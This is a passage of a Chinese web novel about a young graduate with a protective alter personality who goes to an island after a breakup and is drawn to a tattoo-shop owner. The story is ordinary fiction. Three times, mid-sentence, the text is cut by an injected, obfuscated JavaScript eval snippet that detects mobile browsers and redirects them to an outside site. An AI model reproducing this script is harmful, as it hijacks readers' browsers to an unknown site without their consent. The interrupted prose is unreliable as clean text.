《唇岛》 1. 风铃岛 * 向嘉洋决定去风铃岛,其实是一时兴起。 他当时正在过海关,前面排着长队伍。一位独行的阿姨因为语言不通卡了五分钟,甚至把在某书上刷到过的免签消息翻出来给边检人员看,然而边检人员不懂中文,坚持指了某个方向,对她说了一堆官方调调的解释,叽里呱啦呼噜哇哈,阿姨当然也没听懂。 他们的脑电波对不上,海关长队焦灼地等待着。 向嘉洋一边道歉一边拨开人群:“借过借过...” 他穿过Z字形的长龙,穿过一众“这人是不是插队...?”的怀疑视线,快步走到窗口前。 “中国人吗?”向嘉洋轻声。 阿姨亮出自己的红色护照,像看到救星似的望着向嘉洋:“是的。” “来旅游的?”向嘉洋笑着问。 “是的是的!” 向嘉洋于是也指了指某个方向:“他说免签直接走自助通道,这里是给工作签、学生签和旅游签盖章的。阿姨你走到最前面把护照摁在机器上就行啦!” 阿姨万分感谢地打量面前这个年轻人。 皮肤很白,穿着浅蓝色的防晒衣,长得像个小明星一样,眼睛弧度很漂亮,瞳孔亮晶晶的,说话声音也很好听,盘靓条顺,简直是行走的乘龙快婿。 向嘉洋聚精会神看着某个人时,那双眼睛太灵了,像有一头鹿在林边小溪里饮水,湖面上波光粼粼。 他身上萦绕着的善意磁场就是公鸡沐浴了都能孵开两个蛋。 “方便加个微信吗?”张凤当机立断道。 “好啊。”向嘉洋走开了些,和边检人员点头示意,后边排队的人终于顶了上来。 他和张凤快速加完好友,冲对方笑,“阿姨你旅游时遇到什么问题可以直接问我,我在这留学,今年刚毕业,回学校拍个照再逛几个没去过的景点就走啦。” 张凤一连和向嘉洋道了十来声谢谢,风风火火提着她的行李箱去了自助通道,向嘉洋回到队伍末尾继续排队,他点开张凤朋友圈随便扫了一眼,发现阿姨置顶的照片全都带了风铃岛定位,她经营的是岛上一家民宿。 [今天麻烦你了小伙子,我完全听不懂他说什么,手机翻译也翻不清楚,后面那么多人等我我急死了!以后你要是来风铃岛可以找阿姨,你什么都不用管,阿姨帮你包办了。[玫瑰][微笑]] 向嘉洋:不客气,谢谢阿姨。 张凤很热情,他们有一搭没一搭聊着,前面队伍在缓慢移动。 向嘉洋,男,23岁,enfp,超级快乐小狗型人格,二十三年人生过得极其丰富多彩,换句话说是跌宕起伏,曾经一度穷得吃不上饭,14岁拿刀砍了生父差点坐牢,后来由学校牵线,被好心的哥哥资助了费用,从凉山贫困县出来考上首都名校,大学期间兼职,饭店里洗过碗,做过家教,画过r18漫画,摇过奶茶,炒过薯条,攒钱送自己出国读了一年硕,水不水不管,反正他把自己重塑了一遍,还谈了个男朋友,以为人生终于要飞黄腾达了,结果男友出轨了,在国内还不止谈了一个,光是炮友都有三个。 向嘉洋火冒三丈,飞回国先抡了樊煜一拳,给人揍得脸肿了半个月都没好,提完分手才回学校拍毕业照。 小樊总追他时嘘寒问暖,什么情话都张口就来,当时朋友们都说樊煜只是玩玩而已,他家太有钱了,和向嘉洋不是一个阶级的,但樊煜自己说了,他就是喜欢向嘉洋,特别喜欢向嘉洋,非向嘉洋不可。 于是向嘉洋选择相信樊煜。 结果小樊总还真是江山易改本性难移,在向嘉洋出国后一个月不到就在会所里找了小情儿给他搔痒。 原本向嘉洋在这段感情里陷得还挺深,毕竟是他初恋。然而其实初恋并不值钱,他舍不得的也不是樊煜,是自己当初付出的真心。祛魅后就好了很多,向嘉洋决定迅速从失恋中走出来。 风铃岛山清水秀,光是张凤朋友圈里随手拍的几张照片都一下攫住了向嘉洋的眼球。 快乐小狗名不虚传,立刻做了决定。 毕业后先gay一年,去风铃岛养病。 他e力全开地在聊天框里打了两行字:阿姨,我下个月就去风铃岛可以吗?我要和你们岛上最帅的帅哥谈恋爱! 当然,后面那句没发出去。 joe勒令他删掉。 “我是不是说了樊煜不是好货?!你不听我的!!!”脑子里一阵尖锐的男高音飘过。 向嘉洋啪地关了屏幕,把手机揣回兜里。他直接道:“乔,你能不能有一点作为副人格的自觉,不要突然冒出来。” 周围人倒是没有投来向嘉洋已经习惯了的那种看怪物一样的眼神,因为周围人听不懂他说中文,而且他戴着耳机,也可以佯装是在打电话。 joe冷笑:“你不准找帅哥谈,帅哥都有性病。” “....”向嘉洋闻言差点被自己行李箱绊倒,他顿了顿,“好吧,我不否认你这句话其实是很有道理的,但是,乔儿,凡事都有例外。” joe:“不可能。你现在找周围一百个人问问看,你问他们帅哥是不是都拈花惹草游戏人间,谈过的能排一个连。要么油得能炒菜,要么浪里小白龙。” 向嘉洋坚持:“有例外的。” joe:“没有。” 向嘉洋:“有的!” joe嗤笑:“比如?” 向嘉洋决定不和joe吵。他14岁时joe就在了,那年joe也14岁。然而现在向嘉洋都23了,joe还是14岁。 14岁正是少年人日天日地爱装x的年纪,他不和乔儿计较。 这些年为了joe,向嘉洋没少去看病。joe刚出现时总是很霸道地要强占他的身体,这两年才有所好转。这其实是一件很危险的事,比如有一次向嘉洋在骑着电瓶车,半路上副人格把他顶下去了,那天向嘉洋两眼一抹黑,直接从坡上滚了下去,摔得盆骨断裂,医院住了三个月。 精神科医生说,副人格是为了保护主人格才出现的。就为了这句话,向嘉洋其实一直很让着joe。 为了避免向嘉洋再在乱七八糟的人际关系里吃亏,joe平等地厌恶每一个试图接近向嘉洋的男人,尤其是想和向嘉洋发展关系的。 这类病对大脑和身体的负担比常人想象中的还要严重。 向嘉洋咨询过很多心理医生,看过很多病友的分享,有一段话他就是倒着都能背出来,放在心里记了很多年。 “焦虑不是敌人也不是恶魔,他像是一个过度保护你的朋友,因为他曾经看你受过伤害,所以想保护你的安全。不要粗暴地对待他,向他证明你已经强大到能处理事情保护自己,他就会离开了。” 初次看到时,向嘉洋一时半会儿还没什么反应,等他一抹眼角,才发现自己已经泪流满面。 这段话也适用于他和joe。 向嘉洋不再说话了,任由脑子里的小孩暴跳如雷地警告他不许找帅哥谈恋爱,他安静地保持着微笑,跟着人群过了海关。 * 一个月后,向嘉洋拎着行李箱下了大巴。 风铃岛的夏天热得像烤炉。其实它并不是避暑胜地,但耐不住它风景太迷人,海风太轻柔,年年都有一大批的游客往这儿挤,影视剧取景地大火后游客更是前赴后继,要不是向嘉洋提前一个月找张阿姨预定了民宿,现在估计都找不到地住。 街边,一条瘸了前腿的杜宾戴着银白色止咬器,来回跨了几步,威风凛凛地蹲下。 它杏仁般的黑眼里带着凌厉,精神抖擞,正在死盯向嘉洋。 大巴司机看到这幅情景忍不住发笑:“哎哟,这不是陈老板家的狗吗?怎么自己溜出来了,没人拴着?” 很多城市禁养这种大型犬,杜宾又喜欢爆冲,力气小点的人根本拉不住它。不过面前这条又帅又飒,安安静静,有点高冷,周围人也都不怕它,好像默认它是生人勿近的酷哥。 “叔叔,它是不是讨厌我啊?”向嘉洋犹豫道。 “不是不是。”司机大叔被逗笑了,“雷达是喜欢你才会这样,它是退役军犬呢,两年前被陈老板收养了,虽然长得凶但是脾气很好,摸它它会低头。我们岛上的人都认识它,抗震救灾的小英雄。” 雷达很聪明,能听懂人说话,它一推掉在地上的牵引绳,送到了向嘉洋手边。 “要我牵吗?”向嘉洋愣了,确认道。 雷达酷酷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177231|180770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地睨了他一眼,直接蹲在了向嘉洋脚边。 向嘉洋欣然接受,在短短两分钟之内爱上了这个酷哥。 兜内手机在此刻震动,向嘉洋看清来电人,皱起眉。 樊煜打来的。 这段时间樊煜天天给他发信息,删了微信居然还发邮件,原以为成年人的分手应该体面,然而小樊总一哭二闹三上吊,求向嘉洋再给他一次机会。 “你说。”向嘉洋接了电话。 “....”对面反应了两秒,沙哑道,“宝贝儿,你终于愿意理我了。” 樊煜也知道机不可失时不再来,他立刻说:“你去风铃岛旅游了是吗?我叫朋友去接你,别乱跑好吗?你上次在国外晕倒就把我吓了一跳,风铃岛你人生地不熟,我会担心的...” “不用。”向嘉洋冷淡道,“我有人接。没事挂了,以后别打来,如果你不想在群里看到你的约炮pdf的话。” 换做以前他很喜欢听樊煜那么叫他,因为亲密。但现在很恶心。 “你说什么?”樊煜嗓音骤然冷了下来,他习惯性掌控向嘉洋的一切,顿了两秒后咄咄逼人道,“谁接你?” 他怀疑向嘉洋在外边有人了。 向嘉洋直接挂了电话,挂之前樊煜只听到一句很轻的“走吧”。像是在对谁说话。 雷达训练有素,它一秒起立,眼神不可一世,昂首挺胸地迈着小碎步,傲慢地拽着向嘉洋走了。 樊煜懵逼地看着通话记录,烦躁地抓了把头发。向嘉洋一这样,他就快他吗的急疯了。 他当然知道向嘉洋私底下有多乖,性格有多好,不然他也不会一直忍着,珍惜着,在向嘉洋没点头之前都只搂搂抱抱。 但现在,向嘉洋多了别的选择,还和他说了分手。这种情况以前从没有过。 事情有点超出预期,小樊总有了危机感。 落地窗边,樊煜蹙眉掐灭烟,翻开聊天列表找到一个对话框。 [表哥,我男朋友最近和我闹别扭,去风铃岛散心了,他不乐意见我,你的店开得那么好,认识的人也多,要是遇见了帮我多多照顾一下呗,我不放心他。他不能一个人的。] 这段话发送时间是两天前,陈述没回。 再往前翻记录,其实都是樊煜单方面输出,陈述基本只回嗯或者行。 比如半年前樊煜叫他来Z市吃饭,家里亲戚聚餐,陈述隔了半天回了句“好”。 比如两个月前樊煜的一个兄弟酒后驾车撞了人,他求陈述帮个忙,陈述就没回他。 陈家樊煜惹不起,还得抱大腿,如果不是和陈家沾亲带故,樊煜他爹做不起来生意,当不了樊总,更遑论会有小樊总。 而且樊煜从小就怕陈述,又敬又惧,陈述是典型的别人家的孩子,太优秀,一度是樊煜的童年阴影。 樊煜想了想,还是觉得不能让向嘉洋一个人去风铃岛,真可能出事,joe在换环境时会变得更加暴躁。 他又腆着脸继续给陈述发信息。 [表哥,我以后会改好的,这次他是真和我生气了,闹一闹也就好了,我知道你在风铃岛认识的人很多,都是你顾客,他那房东信息我也打听了,张凤,我记得不就是你社区的居委会阿姨吗?] [我舍不得他,我真错了。他住得好不好、和谁在一块、身上有没有伤,这些,你尽量帮我留意留意。他把我拉黑了。[流泪][流泪]] 樊煜又发了一大堆,陈述一直没搭理。最后樊煜一狠心,打算放下手里的项目,直接回国追去风铃岛。 半小时后,岿然不动的聊天框居然有小红点。 前面又臭又长的信息陈述都没回,单独挑了最后一条引用。 [表哥,要不我现在就订机票回去吧,你给我留个地住,我想见他。] 陈述:滚。 “......” 樊煜表情悻悻。 他其实没真打算订票,项目重要,手里很多工作也还没处理完。 陈述几乎没给过他好脸色,樊煜被骂习惯了,被拒绝也没当回事,他决定像往常一样哄哄向嘉洋,这次用心点,他相信不到一个月向嘉洋就会回来。 ———— —— 2. 钛谷 * 到了民宿。 张凤一出来看见向嘉洋牵着雷达,直发笑:“诶,你怎么把陈老板家的狗顺回来了?” “我也不知道。”向嘉洋不好意思地挠挠脑袋,“陈老板是哪个啊?那我再给他把狗送回去。” “他出差了,过两天才回。先牵进院里吧,我给他发个信息。”张阿姨热情地接过牵引绳,把雷达弄到了后院。 房间在二楼,向嘉洋简单收拾行礼,换了四件套。 他把木桌搬到窗边,盘腿坐在圆凳上,喝着青柠汽水。 檐下挂着风铃,像金鱼。有风吹过时能听到清脆的敲击。 风铃岛的夏天如同一只醒着的热带动物,整座岛冒着湿润的白汽。 沿街是低矮的民房,红砖屋顶晒得发亮,墙上爬着密密匝匝的爬山虎。 风从海边过来,带着盐味和潮湿。 槟榔树、椰树和油棕一阵阵地摇晃,晾衣杆上的被单随风翻飞,石板地面踩上去热烫,空气里有好闻的洗涤香。 这地方天气太好,不黏不腻,傍晚尤其微凉舒爽。 “海风很舒服。”向嘉洋看着一望无际的蔚蓝,在得力的方格本上写下注意事项,“乔,你尽快适应一下,好吗?” 注意事项。 (如果是你主导身体且我在休眠版) 1,记得每天勤刷牙。我不想再去口腔科。 2,不要和人打架。 3,随时记录一日行程,让我知道你都干了什么。 4,我的画很重要,可以观看,谨慎上手修改 5,帮我留意一下岛上的单身帅哥,谢谢。 o(^ω^)o joe:...... 向嘉洋搬出颜料盘,在调色。他叼着画笔,卷起衣袖,白皙手腕处几道痕迹才暴露出来。 画了三个多小时,熟悉的闪回袭击了他的脑袋,玻璃风铃上倒映着男人略有些惨白和痛苦的脸。 向嘉洋躺回了床上,缓缓睡着。 他消失了两天。 再醒时手机日历已经刷过数字2。 备忘录满满当当都是日记,乔这几天逛了不少地方。 日记末尾记录的是乔遇见的几个男人。 joe:这个岛不好,你马上离开。 joe:我下楼洗水果,101房租客跟我聊了半小时他在旧金山的citywalk艳遇,说他有很多女人追。 joe:装货。 joe:下午我出门买菜,看见有个男人在你租的电瓶车旁边塞色-情小卡片,我叫他拿走,他竟然还朝我搭讪要微信! joe:骚货。 向嘉洋:.... “这样说不礼貌吧?”向嘉洋委婉提醒。 joe还没休眠,听到主人格说话,继而冷笑:“你们和我计较什么?我有精神病!” 一道突兀的汽车鸣笛在楼下响起,打断他们的脑电波交流。 向嘉洋下床,走到窗边,看见一辆黑色保时捷停靠在楼下的院门口。 雷达已经高兴得在栅栏里来回转圈。 黑车上下来一个男人。 葱郁油棕树遮住了他的脸,入目所及是肩宽腰窄的身影。 三七分男模比例,腿长而直,目测身高将近一米九,穿着黑色短袖,衣料下勾勒出结实的轮廓,手臂流畅的肌肉线条若隐若现。 张凤跟出来了,看见男人时大笑:“陈老板,你家雷□□在我这不肯走。” 被叫做陈老板的男人失笑,伸手揉了揉雷达的头,手掌拍了下它背,说:“我不在它就爱到处乱跑。麻烦你了凤姨。” 像是想到什么,男人忽然仰头看过来。 隔着油棕叶,窸窣间,那视线仿佛穿了过来,和向嘉洋四目交汇。 “听说新来了租客?”男人问。 “租满了,来了好几个。”张凤开玩笑地介绍,“有个男孩年轻又好看,人特好,就是帮我过海关的那个,还单身。我特别喜欢,打算招他做女婿呢。” 单身? 陈述笑了笑,没再开口。手机里停着樊煜的对话框,他回了风铃岛才想起。听樊煜意思,两人还没分。 他没答应樊煜,连对方男友叫什么都不知道,想想还是算了。 陈述习惯一个人,性格随意,不爱管闲事。和张凤简单聊了几句,他牵着雷达离开。 向嘉洋就一直站在窗口听他们对话。 男人嗓音好听,浓醇如酒,带着磁性,而且不哑。他应该并不吸烟。 樊煜是个老烟枪,一天两包。他说话总像含着沙子,有时还会咳嗽。向嘉洋对烟味接受度还算高,樊煜于是也没说过要改。 “你觉得他怎么样?”向嘉洋问。 joe都快睡着了,只差临门一脚。 他猛然惊醒:“不行。” joe:“你连他脸都没看见。你的标准不是帅哥吗?!” 向嘉洋自有说辞:“帅是一种感觉。” “...” 好吧,其实他带着一点故意气joe的成分。 目前来看,陈老板家的雷达可能更有吸引力一些。 * 下午。 詹谷雨来找向嘉洋。 两人是高中同桌,缘分不浅,死活分不开,连毕业后都能因缘际会地混在一块。 詹谷雨本科大学就在风铃岛,工作后已经定居在此,他熟门熟路地拉着向嘉洋,说要去一家穿孔店打个唇钉。 “你刚来,肯定没听说过我们岛上的四大帅哥。”詹谷雨神秘地凑到向嘉洋耳边,“评级由来十分权威。” “权威在?”向嘉洋礼貌问询。 “gay吧千元储值卡持有者投票选举而来。” “....” “比较可惜的是其中一个浪子回头,已经有恋人了。另外两个疑似直男。” “硕果仅存的就是这家穿孔店的老板。”詹谷雨说。 向嘉洋骂他有病。 “你到底是去穿孔还是去钓鱼?” “穿孔,穿孔。”詹谷雨差点笑岔气,“我不喜欢他那款,太凶了。” “好吧,那我可以陪你去。”向嘉洋勉为其难放下画笔。 走到院子里,阴雨过后,阳光正好,不晒不燥。 向嘉洋被张凤叫住。 “要出门吗小向?” “是的。”向嘉洋朝她举起手摇了摇,“下午好!” “麻烦你帮我个忙可以吗?”张凤走过来,“我忘记把雷达的止咬器给陈老板了,你去哪儿,方便捎过去吗?我临时有事。” “好啊。”向嘉洋笑起来问,“陈老板的店在哪?” “西门桥头的刺青·穿孔店,叫钛谷。” 向嘉洋有些意外。 还挺巧。 他接过止咬器,点头应下来。 跨上詹谷雨的电瓶后座,前面人纳闷:“这什么?” “房东托我给硕果仅存老板的。” 詹谷雨笑了半天,载着他去了西门桥头。 就五分钟车程,很近。 * 店内。 前台坐着个寸头小哥,听见风铃声就知道有人进来,他站起来看着电脑,开口: “纹身往左走,穿孔往右走。有预约吗?” 詹谷雨被人领走了,向嘉洋站在前台好一会儿,问:“那找你们老板呢?” 小哥扬起眉,看向他。 向嘉洋今天还是穿了长袖,防晒衣。五官很出挑,眼睛有让人只看一眼就移不开的独特魅力。 “找我们老板啊?”简凡忍不住笑,“你手上那个是什么?” 还没见过人拿着止咬器来纹身店的,简凡觉得好笑,但定睛一看,这止咬器特么好眼熟。 银白色,定制款,估计全世界就这一份。 “应该是你们老板的宝贝吧。”向嘉洋逗小哥,“所以我能不能找了?” “能能能,可太能了。”简凡挺喜欢向嘉洋的,性格好,有浑然天成的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177232|180770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幽默感,他边乐边发了个微信,而后看眼回复,说,“找我们老板你往前,中间走廊尽头地上的板子拉开,下去。” “啊?” 简凡解释:“地下室。” “噢...” 向嘉洋笑着谢过简凡。 他进了地下室,率先看到一排酒柜,都是典藏,每一瓶都价格不菲。 他不懂酒,但看得出来地下室主人品味不错,而且有钱。 角落里一个黑影忽然爆冲过来,把向嘉洋撞得趔趄两步,顺势坐在了地上,他揉揉屁股,听见雷达扑在自己怀里嗷呜嗷呜地叫。 “诶。”向嘉洋可想它了,抱着他顺毛,也不生气,只笑道,“好雷达,你知不知道你很重。” “雷达。”低冷的男嗓传来,带着不怒自威,“过来。” 酒柜壁灯下,陈述端着一盆狗粮,皱眉。 雷达回去了,陈述把碗放下,才抬头看过来:“抱歉,摔伤了没有?” 向嘉洋觉得自己现在根本不是摔没摔伤的问题。 他愣愣看着陈述。 陈述应该是混血,五官深邃而立体,眉眼锋利,向上扬起,宛如刀锋。浓眉,鼻梁高,左嘴唇边和喉结上各有一颗痣。 joe感受到危险的信号。 “喂...!”脑子里男高音持续飘过,“向嘉洋!!!你傻了吗?!?!人家和你说话呢!” 向嘉洋抿了下唇,看到陈述伸手,条件反射牵上去,被拉了起来。他站着机械地拍了拍裤腿上的灰,摇头。 算是说“没有”。 陈述请他坐一会儿。 “麻烦你跑一趟了,谢谢。”他低头看着向嘉洋。 joe距离近,说话声音大,把陈述这句话盖了过去。向嘉洋只能听到joe的嘲讽:“请问你是魂都丢了吗。” “才没有。”向嘉洋征询道,“现在呢,你觉得怎么样?” 陈述挺意外地一挑眉毛。 他回头看一眼乖乖蹲好的雷达,怀疑狗把人撞傻了,因为向嘉洋说话前言不搭后语。 周围也没有其他人,向嘉洋坐在那缩成一团,看起来有些可怜。 陈述顿了顿,手撑在桌边,垂腰凑近了些,道:“什么怎么样?” 然而这句话又被joe盖了过去。 joe:不怎么样。眼睛是眼睛,鼻子是鼻子。 向嘉洋:“不帅吗?” 陈述看着浑身僵硬的向嘉洋,目光在他脸上确认似的逡巡了一番。 本来不想回答,但因为雷达撞人在先。 半晌后,陈述说:“你吗?” “帅的。” “...” joe爆发出一阵尖叫。 如果其他丑男人坏男人接近向嘉洋,joe会挨个评价他们是装货。 如果是陈述的话,joe可以多给他评价两个字。 高级装货。 向嘉洋:“...好了,停一下。” 知道他受不了,乔安静下来。 只是当向嘉洋耳根清净后,他发现面前的男人正在以一种玩味的眼神打量自己。 “...不好意思。”向嘉洋唰一下站起来,眼带歉意,“我刚刚走神了。” “真的没关系?”陈述看着他,“如果哪里不舒服,我全权负责。” 向嘉洋摇头如拨浪鼓。 他不能随便告诉陌生人自己的病,那很危险,容易被坏人利用。 “行。”陈述收回视线。 “那个。”向嘉洋胆大了起来,他问,“刚刚你和我说了什么?” 他没听见,总觉得有些亏。 陈述笑了声,靠在桌边看他,“也没说什么。不重要。” 向嘉洋信了。雷达却蹲在那叫了一声。 陈述视线扫过去,雷达又安静下来。 “那我,上去了。”一看陈述笑,向嘉洋耳根就有点烫,他略拘谨地挥挥手,“陈老板再见。” ———— —— 3. 入梦金鱼 * 这声再见还是说早了。 向嘉洋等了半个小时,詹谷雨还没好。他于是百无聊赖地坐在沙发上,观察起这家店。 纹身和穿孔一起做几乎是当下潮流,或者风向。陈述这两家店开得很大,光是纹身店面就两百平。 前台两侧是选图展示区,墙上挂着很多作品。 向嘉洋被一副鲸鱼吸引了,走过去。 一个白发苍苍的老爷爷背着手,也站在那,他眯眼审视这副大图,看到右下角的纹身师名字是陈述后,冷笑一声:“差。很差!” 向嘉洋立刻拦住老人家,扮了一脸凶相道:“爷爷烦请留步,你刚刚说什么?” 他目前主要的收入来源就是画稿,算半个行内人,一眼看出面前这副作品大气而行云流水,兼具艺术性和商业性。 任何一副画作都是创作者的心血,向嘉洋觉得老爷爷的评价不中肯。 陈平雷眯起眼打量向嘉洋:“小伙子,你知道我是谁吗?” “我才不管你是谁,我就觉得这幅纹身图一点也不差!”向嘉洋嗓门抬高了些,把前台打瞌睡的简凡喊过来了。 “我操。”简凡小跑过来拉住向嘉洋,“这是我们老板的爷爷,亲爷!” 简凡甚至报了一串头衔。 什么什么军区什么什么师长。 向嘉洋被简凡一连串宛如踩到地雷的反应唬住了,他和陈平雷一左一右坐在沙发上,中间隔着一杯“一笑泯恩仇”茶。 “爷爷,述哥在给人穿孔呢,你先坐坐?”简凡小心伺候着陈平雷。 陈平雷冷哼一声,抿了口茶。 简凡转头跟向嘉洋咬耳朵:“老爷子脾气怪得很,一个月换了3个护工,跟他阳台上养着的猪笼草都能吵起来。你别和他一般见识。” 向嘉洋这才知道,钛谷在业内很有名,是标杆。陈述一个大图能赚二十来万。 别的纹身店只是顺便做穿孔,陈述不一样,他穿孔技术更一流,因为他是医学生半路转行的,手稳。 按理说工作无非为了糊口,把店开得这么好家里人怎么也该满意了,然而陈述父亲在香港做生意。 陈家祖上三代都是人才辈出,家底雄厚,富豪排行榜榜上有名。 他们还有点背景。 陈平雷年纪大了,回了故乡风铃岛养老,原以为陈述是孝顺,所以愿意来陪他,结果陈述不顾家里人反对,在风铃岛开了店,干得是上流人士不太看得起的活,他的作品在陈平雷等人眼里不名一文。 纹身,追溯到古老起源,那是囚犯的罪印。放在现在也多得是人不理解,不看好,认为它怪异。 陈家当然不能容忍,尤其陈平雷不能容忍。 他是个典型的老顽固,钛谷在风铃岛已经开了一年多,他就恼了陈述一年多,今天在公园输了棋,才一怒之下跑来钛谷吹个空调。 结果正好撞上个不知死活的年轻人。 “你。”陈平雷虎视眈眈看着向嘉洋,一声令下,“来陪我下一盘。” 向嘉洋如临大敌,郑重一点头。 然后看到陈平雷拿出来一盒飞行棋。 “...” 向嘉洋:? “...爷爷,你要我陪你下这个?”向嘉洋不可思议看着桌面。 “怎么?你不会?”陈平雷挑衅反问。 向嘉洋被激将了,表情认真起来,和陈平雷投骰子准备起飞。规则是只有6才能飞,向嘉洋手气好,已经出来了两架飞机,老爷子还停在里面。 看他脸色越来越差,向嘉洋心里发笑。 其实爷爷也没有很难搞啊! 向嘉洋指腹摩挲几下骰子,垂眸拨到3,再轻轻往桌上一掷,最后停在“1”。 连着三回,向嘉洋都投了1。 陈平雷显然没看出向嘉洋的老千手法,老爷子终于出了一架飞机,高兴得一拍大腿,又嗷嗷叫了两声,吃痛得搓搓裤子。 陈述上来时就看到这幅场景。窗外风铃的影子落在向嘉洋的肩膀上,像一只在游动的金鱼。 解梦师说,金鱼入梦,象征泡沫之恋。 “述哥。”简凡噗呲噗呲了声,压低声音,“你也知道,我们店的学徒们一直致力于把你从四大帅哥里推销出去。” “你到底喜欢男人还是女人?喜欢男人的话沙发那个怎么样?”简凡眼神示意,“老爷十年没有这么笑过了。” “...”陈述收回视线,淡淡扫了简凡一眼,“下次老爷朝你笑,你别跑就行。” 简凡有心理阴影,他因为常年推销陈述而被陈平雷拿竹竿揍过,屁股开花。当时陈平雷就是那么简单一笑,而后简凡两个月没再笑过。 对于陈老将军简凡是相当敬畏的。 他揉了揉自己屁股,“可是陈老很开心哦。” 陈述再次看向沙发。向嘉洋背对着他,背影清瘦,后脑的碎发贴在脖颈,说话温声细语,顺便还控投。 每把数字都不超过3,技术不错。 陈述静静看了会儿,笑着摇头:“年纪太小了。” “啊?”简凡傻了,“什么?...年纪小?!” 陈述没再搭理他,转身去了纹身室,留简凡一个人烧干在原地。 以往他推销牵线,陈述说的是“不合适”。 问他哪里不合适,陈述就说“暂时没有恋爱的打算”。 这回答简凡都能背了。 然而,今天,此刻。 他们陈老板说向嘉洋太小了。 简凡啪地一拍墙壁。 红郎任务,有戏!!! * 飞行棋快到终点时。 陈平雷不经意地问:“哪儿人?” 向嘉洋:“凉山。” “多大了?” “23。” “做什么工作的?” “自由职业,数字游民。” “还挺洋气。”老爷子冷笑,转而咳嗽了一下,说,“...我听不懂。” 向嘉洋笑起来:“就是在家办公。” 陈平雷点头,露出了然状。他名字有个雷,当然不孚众望。 飞行棋又走了两格后,陈平雷:“性取向?” “......” 向嘉洋手里的棋都吓掉了,他狼狈弯腰捡起。 这么时髦的词,爷爷懂吗?! 向嘉洋和陈平雷对视上,后知后觉。 “陈老板和爷爷你聊过这个话题?” 性取向还需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177233|180770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要特意聊,陈老板可能不太好管教,不太走寻常路。 向嘉洋听出些许端倪,勾唇:“爷爷,我想试试追你孙子。” 陈平雷“噗”地喷了茶,反应很快地抓过垃圾桶。 大概没见过向嘉洋这么直接的,陈平雷头一遭吃瘪了。 他嘴巴张了半天,一个字说不出来,最后指指纹身室方向:“那种又老又犟又冷淡的混账你看上他什么?!?!” “多老?”向嘉洋问。 陈平雷:“31。” 向嘉洋表示可以接受。 陈平雷接受不了。 他觉得向嘉洋应该一直陪他下飞行棋,然后慢慢见见他那些战友们的掌上明珠,和千金小姐一起继承家业,落日飞车,环游世界。 而不是吊死在陈述这棵仙人掌上。 浑身都他吗是刺。 向嘉洋已经决定了的事不会随意改,他问陈平雷:“爷爷,我怎么样可以加到陈老板的微信?” 陈平雷没好气道:“桌上不是就有二维码?” 向嘉洋挠挠脸,看过去,发现还真是。但那应该是陈述的工作号,向嘉洋扫完,在验证信息打上自己的名字和申请理由。 ——“陈老板,我想找你打个舌钉。” 发送后,向嘉洋快乐地和陈平雷碰杯。 “爷爷你真好!”向嘉洋灿烂一笑,露出小虎牙。 陈平雷脸上一万头羊驼奔过,最后忍无可忍,道:“你把手机给我。” 向嘉洋和陈平雷一见如故,爷爷是性情中人,还有大背景和高素质,于是他毫无防备地给了。 等手机再回到他手上时,向嘉洋后悔已经来不及了。时光无法倒流。他需要立刻订票飞到天王星。 ——陈平雷用他微信给陈述发了个表情包。 配文如下: 帅哥,处吗? “......” 陈平雷高深莫测地看了向嘉洋一眼:“爷爷不能看你这么好的孩子误入歧途啊。” “...谢谢你了爷爷。”向嘉洋欲哭无泪道。 詹谷雨一出来,向嘉洋就拽着他跑了。跑得比龙卷风还快,一度让詹谷雨以为是有狗在后面追他们。 “你急什么?”詹谷雨嘴唇上的钉子在光下呈猫眼石效果,光彩夺目,“撞鬼了??” 向嘉洋:“不。” 向嘉洋面如死灰:“谷雨。我身败名裂了...” 他原本的计划是慢慢来。就像九浅一深那样,他要循序渐进。 然而陈平雷把表情包当手雷一样丢出去了,向嘉洋落荒而逃。 他窝在民宿里躺了一天,连手机都不敢看。不管对谁而言,这都是一次威力十足的打击。 直到次日下午,头像是钛谷logo的男人回了他信息。 向嘉洋已经做过心理建设,有了预期。 最差不过是陈述拉黑了他,叫他滚。 或者陈述会为了客户而留有一点人情世故,但肯定仍是锐不可当、直截了当地拒绝他,说不处,说抱歉,说暂时没有这种打算。 然而当向嘉洋点开微信时。 陈述:[是。] 向嘉洋:? ———— —— 4. 反射弧紊乱 * 意识到陈述在回答什么问题后,向嘉洋脸噌地一下红起来。 整张脸烫度惊人,脑子里不由自主地闪过了陈述站在树荫下的画面。 男人身高腿长,比他大了一号,笑着问是不是来了新的租客。视线只能聚焦在他身上,目不转睛。 于是海岛一瞬间变得那么渺小。 向嘉洋原本没有那个意思,哪有第一次见面就问人家隐私的? 